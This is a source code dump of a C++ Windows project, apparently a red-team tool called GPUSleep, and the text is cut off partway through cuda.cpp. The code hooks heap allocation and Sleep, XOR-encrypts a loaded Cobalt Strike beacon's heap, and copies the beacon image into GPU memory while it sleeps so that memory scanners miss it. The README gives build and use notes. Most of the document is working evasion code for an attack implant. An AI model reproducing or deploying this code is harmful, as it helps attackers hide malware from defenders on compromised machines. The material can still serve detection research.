├── .gitignore
├── GPUSleep
    ├── libMinHook.x64.lib
    ├── GPUSleep.vcxproj.user
    ├── MoveDLL.h
    ├── utils.h
    ├── cuda.h
    ├── utils.cpp
    ├── GPUSleep.cpp
    ├── GPUSleep.vcxproj.filters
    ├── SuspendThreads.h
    ├── Hooks.cpp
    ├── cuda.cpp
    ├── minihook.h
    ├── GPUSleep.vcxproj
    └── MoveDLL.cpp
├── BasicDLL
    ├── BasicDLL.vcxproj.user
    ├── BasicDLL.vcxproj.filters
    ├── BasicDLL.cpp
    └── BasicDLL.vcxproj
├── GPUSleep.sln
├── README.md
└── LICENSE


/.gitignore:
--------------------------------------------------------------------------------
1 | .vs
2 | 


--------------------------------------------------------------------------------
/GPUSleep/libMinHook.x64.lib:
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https://raw.githubusercontent.com/oXis/GPUSleep/HEAD/GPUSleep/libMinHook.x64.lib


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/BasicDLL/BasicDLL.vcxproj.user:
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1 | <?xml version="1.0" encoding="utf-8"?>
2 | <Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3 |   <PropertyGroup />
4 | </Project>


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/GPUSleep/GPUSleep.vcxproj.user:
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1 | <?xml version="1.0" encoding="utf-8"?>
2 | <Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3 |   <PropertyGroup />
4 | </Project>


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/GPUSleep/MoveDLL.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include <windows.h>
 4 | #include "cuda.h"
 5 | 
 6 | HMODULE MoveDLLToStrorage(HMODULE dll);
 7 | VOID MoveDLLFromStrorage(HMODULE dll, HMODULE storage);
 8 | 
 9 | ULONG_PTR MoveDLLToGPUStrorage(HMODULE dll, PDWORD SizeOfHeaders, PNVIDIA_API_TABLE Api);
10 | VOID MoveDLLFromGPUStrorage(HMODULE dll, ULONG_PTR storage, DWORD SizeOfHeaders, PNVIDIA_API_TABLE Api);
11 | 


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/BasicDLL/BasicDLL.vcxproj.filters:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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 4 |     <Filter Include="Source Files">
 5 |       <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
 6 |       <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
 7 |     </Filter>
 8 |     <Filter Include="Header Files">
 9 |       <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10 |       <Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
11 |     </Filter>
12 |     <Filter Include="Resource Files">
13 |       <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14 |       <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15 |     </Filter>
16 |   </ItemGroup>
17 |   <ItemGroup>
18 |     <ClCompile Include="BasicDLL.cpp">
19 |       <Filter>Source Files</Filter>
20 |     </ClCompile>
21 |   </ItemGroup>
22 | </Project>


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/GPUSleep/utils.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | #include <map>
 3 | #include <windows.h>
 4 | #include <iostream>
 5 | #include <intrin.h>
 6 | #include <psapi.h>
 7 | 
 8 | #include "minihook.h"
 9 | #include "cuda.h"
10 | 
11 | //extern PROCESS_HEAP_ENTRY entry;
12 | extern DWORD GlobalThreadId;
13 | extern LPVOID(WINAPI* OldHeapAlloc)(HANDLE, DWORD, SIZE_T);
14 | extern void (WINAPI* OldSleep)(DWORD);
15 | extern std::map<LPVOID, DWORD> heapMap;
16 | 
17 | extern NVIDIA_API_TABLE Api;
18 | extern CUDA_CONTEXT Context;
19 | extern HMODULE dll;
20 | 
21 | void run1(std::map<LPVOID, DWORD> heapMap);
22 | typedef VOID(*typeFunc)();
23 | 
24 | void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length);
25 | void print_map(const std::map<LPVOID, DWORD>& m);
26 | DWORD mapSize(const std::map<LPVOID, DWORD>& m);
27 | void HeapEncryptDecryptSection(char* buffer, const size_t length);
28 | void HeapEncryptDecrypt();
29 | void HeapEncryptMap(const std::map<LPVOID, DWORD>& m);
30 | 
31 | LPVOID HookedHeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
32 | void HookedSleep(DWORD dwMilliseconds);
33 | 
34 | template <typename T>
35 | inline MH_STATUS MH_CreateHookApiEx(
36 | 	LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
37 | {
38 | 	return MH_CreateHookApi(
39 | 		pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
40 | }


--------------------------------------------------------------------------------
/GPUSleep/cuda.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | #include <windows.h>
 3 | 
 4 | #define CUDACALL __stdcall
 5 | typedef struct PCUDE_CONTEXT* CUDA_CONTEXT;
 6 | 
 7 | typedef INT(CUDACALL* CUDAMEMORYALLOCATE)(ULONG_PTR, SIZE_T);
 8 | typedef INT(CUDACALL* CUDAINIT)(INT);
 9 | typedef INT(CUDACALL* CUDAGETDEVICECOUNT)(PINT);
10 | typedef INT(CUDACALL* CUDAGETDEVICE)(PINT, INT);
11 | typedef INT(CUDACALL* CUDACREATECONTEXT)(CUDA_CONTEXT*, DWORD, INT);
12 | typedef INT(CUDACALL* CUDADESTROYCONTEXT)(CUDA_CONTEXT*);
13 | typedef INT(CUDACALL* CUDAMEMORYCOPYTODEVICE)(ULONG_PTR, PVOID, SIZE_T);
14 | typedef INT(CUDACALL* CUDAMEMORYCOPYTOHOST)(PVOID, ULONG_PTR, SIZE_T);
15 | typedef INT(CUDACALL* CUDAMEMORYFREE)(ULONG_PTR);
16 | 
17 | #define CUDA_SUCCESS 0
18 | 
19 | typedef struct _NVIDIA_API_TABLE {
20 | 	HMODULE NvidiaLibary;
21 | 	CUDAMEMORYALLOCATE CudaMemoryAllocate;
22 | 	CUDAINIT CudaInit;
23 | 	CUDAGETDEVICECOUNT CudaGetDeviceCount;
24 | 	CUDAGETDEVICE CudaGetDevice;
25 | 	CUDACREATECONTEXT CudaCreateContext;
26 | 	CUDAMEMORYCOPYTODEVICE CudaMemoryCopyToDevice;
27 | 	CUDAMEMORYCOPYTOHOST CudaMemoryCopyToHost;
28 | 	CUDAMEMORYFREE CudaMemoryFree;
29 | 	CUDADESTROYCONTEXT CudaDestroyContext;
30 | } NVIDIA_API_TABLE, * PNVIDIA_API_TABLE;
31 | 
32 | BOOL InitNvidiaCudaAPITable(PNVIDIA_API_TABLE Api);
33 | ULONG_PTR RtlAllocateGpuMemory(PNVIDIA_API_TABLE Api, DWORD ByteSize);
34 | CUDA_CONTEXT initCuda(NVIDIA_API_TABLE* Api, CUDA_CONTEXT* ctx);


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/BasicDLL/BasicDLL.cpp:
--------------------------------------------------------------------------------
 1 | #include <Windows.h>
 2 | #include <iostream>
 3 | #include <string>
 4 | 
 5 | unsigned char encdata[64] = "THIS IS AN ENCRYPTED STRING";
 6 | unsigned char* data;
 7 | 
 8 | void SetupConsole() {
 9 | 	AllocConsole();
10 | 	freopen("CONIN$", "r", stdin);
11 | 	freopen("CONOUT$", "w", stdout);
12 | 	freopen("CONOUT$", "w", stderr);
13 | }
14 | 
15 | extern "C" VOID __declspec(dllexport) Init()
16 | {
17 | 	data = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 64);
18 | 	memcpy(data, encdata, 64);
19 | 
20 | 	SetupConsole();
21 | 
22 | 	printf("%s\n", encdata);
23 | 
24 | 	memset(data, 0, 64);
25 | 	std::string str = "THIS IS AN DECRYPTED STRING";
26 | 
27 | 	memcpy(data, str.c_str(), 64);
28 | 
29 | 	//MessageBoxA(NULL, "Init Done", "Init", MB_OK);
30 | }
31 | 
32 | extern "C" VOID __declspec(dllexport) Run()
33 | {
34 | 	for (int i = 0; i < 2; i++) {
35 | 		printf("%s\n", data);
36 | 		Sleep(1000);
37 | 	}
38 | }
39 | 
40 | BOOL WINAPI DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID)
41 | {
42 | 
43 | 	switch (dwReason)
44 | 	{
45 | 	case DLL_PROCESS_ATTACH:
46 | 	{
47 | 		MessageBoxA(NULL, "DLL_PROCESS_ATTACH", "Hello", MB_OK);
48 | 		Init();
49 | 	}
50 | 	break;
51 | 	case DLL_PROCESS_DETACH:
52 | 	{
53 | 		MessageBoxA(NULL, "DLL_PROCESS_DETACH", "Hello", MB_OK);
54 | 	}
55 | 	break;
56 | 	case DLL_THREAD_ATTACH:
57 | 	case DLL_THREAD_DETACH:
58 | 		break;
59 | 	}
60 | 
61 | 	return TRUE;
62 | }


--------------------------------------------------------------------------------
/GPUSleep/utils.cpp:
--------------------------------------------------------------------------------
 1 | #include <map>
 2 | #include <windows.h>
 3 | #include <iostream>
 4 | #include <intrin.h>
 5 | #include <psapi.h>
 6 | 
 7 | #include "minihook.h"
 8 | 
 9 | PROCESS_HEAP_ENTRY entry;
10 | 
11 | const char key[9] = "FROMAGE";
12 | const size_t keySize = sizeof(key);
13 | 
14 | #pragma intrinsic(_ReturnAddress)
15 | 
16 | void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) {
17 | 	for (size_t i = 0; i < length; ++i) {
18 | 		buffer[i] ^= key[i % keyLength];
19 | 	}
20 | }
21 | 
22 | void print_map(const std::map<LPVOID, DWORD>& m)
23 | {
24 | 	for (auto it = m.cbegin(); it != m.cend(); ++it)
25 | 	{
26 | 		std::cout << "Map -> " << it->first << "[" << it->second << "]" << "\n";
27 | 	}
28 | }
29 | 
30 | DWORD mapSize(const std::map<LPVOID, DWORD>& m)
31 | {
32 | 	DWORD alloc = 0;
33 | 	for (auto it = m.cbegin(); it != m.cend(); ++it)
34 | 	{
35 | 		alloc += it->second;
36 | 	}
37 | 
38 | 	return alloc;
39 | }
40 | 
41 | void HeapEncryptDecryptSection(char* buffer, const size_t length) {
42 | 	xor_bidirectional_encode(key, keySize, buffer, length);
43 | }
44 | 
45 | void HeapEncryptDecrypt() {
46 | 	SecureZeroMemory(&entry, sizeof(entry));
47 | 
48 | 	while (HeapWalk(GetProcessHeap(), &entry)) {
49 | 		if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
50 | 			HeapEncryptDecryptSection((char*)(entry.lpData), entry.cbData);
51 | 			//printf("Lengh of fragment %d\n", entry.cbData);
52 | 		}
53 | 	}
54 | }
55 | 
56 | void HeapEncryptMap(const std::map<LPVOID, DWORD>& m) {
57 | 	for (auto it = m.cbegin(); it != m.cend(); ++it)
58 | 	{
59 | 		HeapEncryptDecryptSection((char*)(it->first), it->second);
60 | 	}
61 | }


--------------------------------------------------------------------------------
/GPUSleep/GPUSleep.cpp:
--------------------------------------------------------------------------------
 1 | // GPUSleep.cpp : This file contains the 'main' function. Program execution begins and ends there.
 2 | //
 3 | #include "utils.h"
 4 | #include "cuda.h"
 5 | 
 6 | #pragma comment(lib, "libMinHook.x64.lib")
 7 | #pragma warning(disable:6011)
 8 | #pragma warning(disable:6387)
 9 | 
10 | DWORD GlobalThreadId;
11 | LPVOID(WINAPI* OldHeapAlloc)(HANDLE, DWORD, SIZE_T);
12 | void (WINAPI* OldSleep)(DWORD);
13 | std::map<LPVOID, DWORD> heapMap;
14 | 
15 | NVIDIA_API_TABLE Api = { 0 };
16 | CUDA_CONTEXT Context = NULL;
17 | HMODULE dll;
18 | 
19 | int main()
20 | {
21 |     std::cout << "Starting\n";
22 |     GlobalThreadId = GetCurrentThreadId(); //We get the thread Id of our dropper!
23 | 
24 |     printf("MH_Initialize()\n");
25 |     if (MH_Initialize() != MH_OK)
26 |         goto EXIT_ROUTINE;
27 | 
28 |     printf("MH_CreateHookApiEx()\n");
29 |     if (MH_CreateHookApiEx(L"ntdll.dll", "RtlAllocateHeap", &HookedHeapAlloc, &OldHeapAlloc) != MH_OK)
30 |         goto EXIT_ROUTINE;
31 | 
32 |     printf("MH_CreateHookApiEx()\n");
33 |     if (MH_CreateHookApiEx(L"kernel32.dll", "Sleep", &HookedSleep, &OldSleep) != MH_OK)
34 |         goto EXIT_ROUTINE;
35 | 
36 |     printf("MH_EnableHook()\n");
37 |     if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK)
38 |         goto EXIT_ROUTINE;
39 | 
40 |     printf("LoadingBeacon\n");
41 |     dll = LoadLibraryA("beacon.dll");
42 | 
43 |     //Test DLL
44 |     //run1(heapMap);
45 | 
46 |     int stop;
47 |     std::cin >> stop;
48 | 
49 | EXIT_ROUTINE:
50 |     MH_DisableHook(MH_ALL_HOOKS);
51 | 
52 |     if (Context != NULL)
53 |         Api.CudaDestroyContext(&Context);
54 | 
55 |     if (Api.NvidiaLibary)
56 |         FreeLibrary(Api.NvidiaLibary);
57 | }


--------------------------------------------------------------------------------
/GPUSleep/GPUSleep.vcxproj.filters:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 3 |   <ItemGroup>
 4 |     <Filter Include="Source Files">
 5 |       <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
 6 |       <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
 7 |     </Filter>
 8 |     <Filter Include="Header Files">
 9 |       <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10 |       <Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
11 |     </Filter>
12 |     <Filter Include="Resource Files">
13 |       <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14 |       <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15 |     </Filter>
16 |   </ItemGroup>
17 |   <ItemGroup>
18 |     <ClCompile Include="GPUSleep.cpp">
19 |       <Filter>Source Files</Filter>
20 |     </ClCompile>
21 |     <ClCompile Include="utils.cpp">
22 |       <Filter>Source Files</Filter>
23 |     </ClCompile>
24 |     <ClCompile Include="cuda.cpp">
25 |       <Filter>Source Files</Filter>
26 |     </ClCompile>
27 |     <ClCompile Include="MoveDLL.cpp">
28 |       <Filter>Source Files</Filter>
29 |     </ClCompile>
30 |     <ClCompile Include="Hooks.cpp">
31 |       <Filter>Source Files</Filter>
32 |     </ClCompile>
33 |   </ItemGroup>
34 |   <ItemGroup>
35 |     <ClInclude Include="SuspendThreads.h">
36 |       <Filter>Header Files</Filter>
37 |     </ClInclude>
38 |     <ClInclude Include="minihook.h">
39 |       <Filter>Header Files</Filter>
40 |     </ClInclude>
41 |     <ClInclude Include="utils.h">
42 |       <Filter>Header Files</Filter>
43 |     </ClInclude>
44 |     <ClInclude Include="cuda.h">
45 |       <Filter>Header Files</Filter>
46 |     </ClInclude>
47 |     <ClInclude Include="MoveDLL.h">
48 |       <Filter>Header Files</Filter>
49 |     </ClInclude>
50 |   </ItemGroup>
51 | </Project>


--------------------------------------------------------------------------------
/GPUSleep/SuspendThreads.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | #include <windows.h>
 3 | #include <tlhelp32.h>
 4 | 
 5 | // Pass 0 as the targetProcessId to suspend threads in the current process
 6 | void DoSuspendThreads(DWORD targetProcessId, DWORD targetThreadId)
 7 | {
 8 | 	printf("Own thread %d\n", targetThreadId);
 9 | 	HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
10 | 	if (h != INVALID_HANDLE_VALUE)
11 | 	{
12 | 		THREADENTRY32 te;
13 | 		te.dwSize = sizeof(te);
14 | 		if (Thread32First(h, &te))
15 | 		{
16 | 			do
17 | 			{
18 | 				if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
19 | 				{
20 | 					// Suspend all threads EXCEPT the one we want to keep running
21 | 					if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
22 | 					{
23 | 						HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
24 | 						if (thread != NULL)
25 | 						{
26 | 							printf("Suspending thread %d\n", te.th32ThreadID);
27 | 							SuspendThread(thread);
28 | 							CloseHandle(thread);
29 | 						}
30 | 					}
31 | 				}
32 | 				te.dwSize = sizeof(te);
33 | 			} while (Thread32Next(h, &te));
34 | 		}
35 | 		CloseHandle(h);
36 | 	}
37 | }
38 | 
39 | void DoResumeThreads(DWORD targetProcessId, DWORD targetThreadId)
40 | {
41 | 	HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
42 | 	if (h != INVALID_HANDLE_VALUE)
43 | 	{
44 | 		THREADENTRY32 te;
45 | 		te.dwSize = sizeof(te);
46 | 		if (Thread32First(h, &te))
47 | 		{
48 | 			do
49 | 			{
50 | 				if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
51 | 				{
52 | 					// Suspend all threads EXCEPT the one we want to keep running
53 | 					if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
54 | 					{
55 | 						HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
56 | 						if (thread != NULL)
57 | 						{
58 | 							printf("Resuming thread %d\n", te.th32ThreadID);
59 | 							ResumeThread(thread);
60 | 							CloseHandle(thread);
61 | 						}
62 | 					}
63 | 				}
64 | 				te.dwSize = sizeof(te);
65 | 			} while (Thread32Next(h, &te));
66 | 		}
67 | 		CloseHandle(h);
68 | 	}
69 | }


--------------------------------------------------------------------------------
/GPUSleep.sln:
--------------------------------------------------------------------------------
 1 | 
 2 | Microsoft Visual Studio Solution File, Format Version 12.00
 3 | # Visual Studio Version 16
 4 | VisualStudioVersion = 16.0.29411.108
 5 | MinimumVisualStudioVersion = 10.0.40219.1
 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "GPUSleep", "GPUSleep\GPUSleep.vcxproj", "{1F20C321-B5A0-4A6E-B094-184E8F8AB129}"
 7 | EndProject
 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BasicDLL", "BasicDLL\BasicDLL.vcxproj", "{CF8AA149-5AA7-4694-A7A3-5996F52C969D}"
 9 | EndProject
10 | Global
11 | 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | 		Debug|x64 = Debug|x64
13 | 		Debug|x86 = Debug|x86
14 | 		Release|x64 = Release|x64
15 | 		Release|x86 = Release|x86
16 | 	EndGlobalSection
17 | 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | 		{1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Debug|x64.ActiveCfg = Release|x64
19 | 		{1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Debug|x64.Build.0 = Release|x64
20 | 		{1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Debug|x86.ActiveCfg = Release|x64
21 | 		{1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Debug|x86.Build.0 = Release|x64
22 | 		{1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Release|x64.ActiveCfg = Release|x64
23 | 		{1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Release|x64.Build.0 = Release|x64
24 | 		{1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Release|x86.ActiveCfg = Release|Win32
25 | 		{1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Release|x86.Build.0 = Release|Win32
26 | 		{CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Debug|x64.ActiveCfg = Release|x64
27 | 		{CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Debug|x64.Build.0 = Release|x64
28 | 		{CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Debug|x86.ActiveCfg = Release|x64
29 | 		{CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Debug|x86.Build.0 = Release|x64
30 | 		{CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Release|x64.ActiveCfg = Release|x64
31 | 		{CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Release|x64.Build.0 = Release|x64
32 | 		{CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Release|x86.ActiveCfg = Release|Win32
33 | 		{CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Release|x86.Build.0 = Release|Win32
34 | 	EndGlobalSection
35 | 	GlobalSection(SolutionProperties) = preSolution
36 | 		HideSolutionNode = FALSE
37 | 	EndGlobalSection
38 | 	GlobalSection(ExtensibilityGlobals) = postSolution
39 | 		SolutionGuid = {5995CCB5-3987-4188-82A7-957F22AFC286}
40 | 	EndGlobalSection
41 | EndGlobal
42 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | [Blog post](https://oxis.github.io/GPUSleep/)
 2 | 
 3 | Tested on Windows 21H1, Visual Studio 2019 (v142) and an NVIDIA GTX860M.
 4 | 
 5 | # GPUSleep
 6 | `GPUSleep` moves the beacon image to GPU memory before the beacon sleeps, and move it back to main memory after sleeping.
 7 | 
 8 | The idea is to hook `HeapAlloc` and `Sleep`. Encrypt (XOR) the heap allocated by the beacon and move all PE sections + heap segments to GPU memory using `nvcuda.dll` imports.  
 9 | 
10 | > Comes with a pre-compiled `libMinHook.x64.lib`, you night want to compile your own.
11 | 
12 | ## HeapEncrypt
13 | Using the technique described by waldo-irc, heap segments allocated by the beacon are XOR encrypted before moving them to GPU memory.
14 | 
15 | Cobalt Strike beacon uses `malloc` instead of `HeapAlloc` or `RtlHeapAlloc`. So the functions that are doing the actual allocation are inside `msvcrt.dll` or `ucrtbase.dll` (I didn't really looked into it...)   
16 | The line `if (!strcmp(lpBaseName, "msvcrt.dll") || !strcmp(lpBaseName, "ucrtbase.dll"))` filters which allocations are going to be encrypted.
17 | 
18 | ## BasicDLL
19 | A basic test DLL is provided.
20 | Modify code to use.
21 | ```cpp
22 | 	printf("LoadingBeacon\n");
23 | 	//dll = LoadLibraryA("beacon.dll");
24 | 
25 | 	//Test DLL
26 | 	run1(heapMap);
27 | ```
28 | 
29 | ## Cobalt Strike
30 | `GPUSleep` will load an unstaged `beacon.dll` file with `LoadLibraryA`. The code has not been tested with reflective loading or other in memory loading techniques but if `HMODULE dll` points to a valid PE image everything should work.
31 | 
32 | ## Bugs
33 | Pretty sure it's full of bugs...
34 | Like, you need to refresh cuda context every time `HookedSleep` is called and I don't know why...
35 | ```cpp
36 | void HookedSleep(DWORD dwMilliseconds) {
37 | 
38 | 	std::cout << "Hooked Sleep!\n";
39 | 	// so Context cannot be init before CS beacon is fired up, I dunno why... If init before, cuda returns error 201
40 | 	Context = initCuda(&Api, &Context);
41 |     [...]
42 | ```
43 | 
44 | # Credit
45 | Big thanks to @smelly__vx, it's actually his code that gave me the idea. 
46 | 
47 | # References
48 | [LockdExeDemo](https://www.arashparsa.com/hook-heaps-and-live-free/) by @waldo-irc   
49 | [GpuMemoryAbuse.cpp](https://github.com/vxunderground/VXUG-Papers/blob/main/GpuMemoryAbuse.cpp) by @smelly__vx  
50 | [minihook](https://github.com/TsudaKageyu/minhook) by @TsudaKageyu


--------------------------------------------------------------------------------
/GPUSleep/Hooks.cpp:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | #include <map>
 3 | #include <windows.h>
 4 | #include <iostream>
 5 | #include <intrin.h>
 6 | #include <psapi.h>
 7 | 
 8 | #include "utils.h"
 9 | #include "cuda.h"
10 | #include "SuspendThreads.h"
11 | #include "MoveDLL.h"
12 | 
13 | BOOL intercept = FALSE;
14 | 
15 | LPVOID HookedHeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) {
16 | 	LPVOID pointerToEncrypt = OldHeapAlloc(hHeap, dwFlags, dwBytes);
17 | 
18 | 	if (intercept)
19 | 		return pointerToEncrypt;
20 | 
21 | 	intercept = TRUE;
22 | 	if (GlobalThreadId == GetCurrentThreadId()) { // If the calling ThreadId matches our initial thread id then continue
23 | 
24 | 		HMODULE hModule;
25 | 		char lpBaseName[256];
26 | 
27 | 		if (GetModuleHandleExA(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, (LPCSTR)_ReturnAddress(), &hModule) != 0) {
28 | 			if (GetModuleBaseNameA(GetCurrentProcess(), hModule, lpBaseName, sizeof(lpBaseName)) != 0) {
29 | 				printf("Reserved %d at %08x from %s\n", dwBytes, pointerToEncrypt, lpBaseName);
30 | 				if (!strcmp(lpBaseName, "msvcrt.dll") || !strcmp(lpBaseName, "ucrtbase.dll")) {
31 | 				//if (!strcmp(lpBaseName, "BasicDLL.dll")) {
32 | 					printf("Reserved %d at %08x\n", dwBytes, pointerToEncrypt);
33 | 					heapMap[pointerToEncrypt] = dwBytes;
34 | 				}
35 | 			}
36 | 		}
37 | 	}
38 | 	intercept = FALSE;
39 | 
40 | 	return pointerToEncrypt;
41 | }
42 | 
43 | void HookedSleep(DWORD dwMilliseconds) {
44 | 
45 | 	std::cout << "Hooked Sleep!\n";
46 | 	// so Context cannot be init before CS beacon is fired up, I dunno why... If init before, cuda returns error 201
47 | 	Context = initCuda(&Api, &Context);
48 | 
49 | 	ULONG_PTR storageGPU;
50 | 
51 | 	DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
52 | 	std::cout << "Heap encrypt starts\n";
53 | 	HeapEncryptMap(heapMap);
54 | 
55 | 	DWORD SizeOfHeaders;
56 | 	storageGPU = MoveDLLToGPUStrorage(dll, &SizeOfHeaders, &Api);
57 | 	std::cout << "Sleeping....\n";
58 | 	OldSleep(dwMilliseconds);
59 | 	MoveDLLFromGPUStrorage(dll, storageGPU, SizeOfHeaders, &Api);
60 | 
61 | 	HeapEncryptMap(heapMap);
62 | 	std::cout << "Heap decrypt done\n";
63 | 	DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
64 | }
65 | 
66 | // ####### TESTING FUNCTION #########
67 | void run1(std::map<LPVOID, DWORD> heapMap) {
68 | 
69 | 	ULONG_PTR storageGPU;
70 | 
71 | 	dll = LoadLibraryA("BasicDLL.dll");
72 | 	typeFunc funcRun = (typeFunc)GetProcAddress(dll, "Run");
73 | 
74 | 	funcRun();
75 | }


--------------------------------------------------------------------------------
/GPUSleep/cuda.cpp:
--------------------------------------------------------------------------------
  1 | #include <Windows.h>
  2 | #include <iostream>
  3 | #include <stdio.h>
  4 | 
  5 | #include "cuda.h"
  6 | #include "utils.h"
  7 | #pragma warning(disable:6011)
  8 | 
  9 | //Returns the last Win32 error, in string format. Returns an empty string if there is no error.
 10 | std::string GetLastErrorAsString()
 11 | {
 12 | 	//Get the error message ID, if any.
 13 | 	DWORD errorMessageID = ::GetLastError();
 14 | 	if (errorMessageID == 0) {
 15 | 		return std::string(); //No error message has been recorded
 16 | 	}
 17 | 
 18 | 	LPSTR messageBuffer = nullptr;
 19 | 
 20 | 	//Ask Win32 to give us the string version of that message ID.
 21 | 	//The parameters we pass in, tell Win32 to create the buffer that holds the message for us (because we don't yet know how long the message string will be).
 22 | 	size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
 23 | 		NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL);
 24 | 
 25 | 	//Copy the error message into a std::string.
 26 | 	std::string message(messageBuffer, size);
 27 | 
 28 | 	//Free the Win32's string's buffer.
 29 | 	LocalFree(messageBuffer);
 30 | 
 31 | 	return message;
 32 | }
 33 | 
 34 | BOOL InitNvidiaCudaAPITable(PNVIDIA_API_TABLE Api)
 35 | {
 36 | 
 37 | 	if (Api->CudaInit) {
 38 | 		return TRUE;
 39 | 	}
 40 | 
 41 | 	Api->NvidiaLibary = LoadLibraryW(L"nvcuda.dll");
 42 | 	if (Api->NvidiaLibary == NULL)
 43 | 		return FALSE;
 44 | 
 45 | 	Api->CudaCreateContext = (CUDACREATECONTEXT)GetProcAddress(Api->NvidiaLibary, "cuCtxCreate_v2");
 46 | 	Api->CudaGetDevice = (CUDAGETDEVICE)GetProcAddress(Api->NvidiaLibary, "cuDeviceGet");
 47 | 	Api->CudaGetDeviceCount = (CUDAGETDEVICECOUNT)GetProcAddress(Api->NvidiaLibary, "cuDeviceGetCount");
 48 | 	Api->CudaInit = (CUDAINIT)GetProcAddress(Api->NvidiaLibary, "cuInit");
 49 | 	Api->CudaMemoryAllocate = (CUDAMEMORYALLOCATE)GetProcAddress(Api->NvidiaLibary, "cuMemAlloc_v2");
 50 | 	Api->CudaMemoryCopyToDevice = (CUDAMEMORYCOPYTODEVICE)GetProcAddress(Api->NvidiaLibary, "cuMemcpyHtoD_v2");
 51 | 	Api->CudaMemoryCopyToHost = (CUDAMEMORYCOPYTOHOST)GetProcAddress(Api->NvidiaLibary, "cuMemcpyDtoH_v2");
 52 | 	Api->CudaMemoryFree = (CUDAMEMORYFREE)GetProcAddress(Api->NvidiaLibary, "cuMemFree_v2");
